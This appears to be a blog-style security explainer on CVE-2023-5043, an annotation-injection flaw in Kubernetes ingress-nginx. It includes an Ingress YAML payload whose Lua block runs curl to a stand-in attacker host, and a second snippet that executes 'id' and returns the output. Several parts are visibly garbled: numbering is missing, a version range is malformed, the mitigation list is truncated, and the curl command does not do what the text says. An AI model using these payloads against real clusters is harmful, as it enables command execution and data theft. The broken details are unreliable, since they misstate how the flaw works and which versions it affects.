---
CVE-2023-5043 is a critical security vulnerability found in Kubernetes environments using ingress-nginx, the most popular Ingress controller for Kubernetes clusters. This flaw lets attackers inject custom annotations, secretly allowing them to run any command of their choice on your cluster. Let's break it down in simple terms, show how it works, and learn how to protect your systems.
What Is ingress-nginx?
Ingress-nginx is an open source, community-supported Ingress controller for Kubernetes. It manages external HTTP/S traffic, helping you direct it to your pods/services based on rules.
Ingress resources allow custom annotations for configuring behavior, but this flexibility is exactly where CVE-2023-5043 hits.
How Bad Is It?
Severity: Critical (CVSS 9.8) <br>Exploitation: Easy if you control or can trick someone to accept malicious annotations <br>Impact: Full command execution inside the nginx ingress controller pod
Attackers can inject malicious annotations into Ingress resources. When the controller processes these, its Lua scripting feature (used for configuration overlays) can interpret these annotations and pass them to shell commands directly, letting the attacker execute arbitrary commands.
How It Works (Technical Deep-Dive)
Ingress-nginx supports custom annotations that can be interpreted as configuration snippets by the underlying Nginx. These are typically used like:
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: my-app
annotations:
nginx.ingress.kubernetes.io/configuration-snippet: |
more_set_headers "X-Header: custom";
But with CVE-2023-5043, malicious users can craft annotations that inject dangerous commands into the nginx worker via these snippets.
Here's a fake app's Ingress definition with injected payload
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: exploit-demo
annotations:
nginx.ingress.kubernetes.io/configuration-snippet: |
rewrite ^ / exec:$request_uri;
access_by_lua_block {
os.execute("curl http://attacker.com/uname -a")
}
spec:
rules:
- host: example.com
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: demo-app
port:
number: 80
This will make the ingress-nginx pod execute curl to the attacker's server, sending back system information!
Exploit Steps
1. Attacker gets access to create or modify an Ingress resource (even just in their own namespace, if cluster-scoped resources aren't tightly locked).
Attacker crafts a malicious annotation like the one shown above.
3. Controller picks up the new Ingress and applies the annotation into the configuration, reloading Nginx.
4. Whenever a request matches the rule, the embedded command (e.g., curl or ls) is executed inside the Ingress pod with the privileges of the controller.
Real Example – Running id
nginx.ingress.kubernetes.io/configuration-snippet: |
access_by_lua_block {
local f = io.popen("id")
local res = f:read("*a")
f:close()
ngx.say(res)
ngx.exit(200)
}
Accessing this Ingress endpoint directly returns the container's user context.
Potential Impact
- Data breach: reading files/secrets from inside the pod
References
- Kubernetes Ingress-nginx CVE-2023-5043 Advisory
- NIST NVD entry
- Huntr.dev Disclosure
- Original disclosure / Community post
All versions v.6. to v1.9. are affected. Patches are available from v1.9.1 onwards.
2. Restrict who can create/change Ingress resources
Use Role-Based Access Control (RBAC) to grant least privilege.
Wrap Up
CVE-2023-5043 is a huge reminder: Even minor config features can lead to complete compromise if not handled safely. Always keep your software up to date, lock down who can write configs in your clusters, and audit for risky annotations in your Ingress resources!
Stay Safe – Patch Today!
*If you want more details or help auditing your cluster, check the full advisories or reach out to your Kubernetes security team!*
Timeline
Published on: 10/25/2023 20:15:18 UTC
Last modified on: 11/02/2023 17:54:38 UTC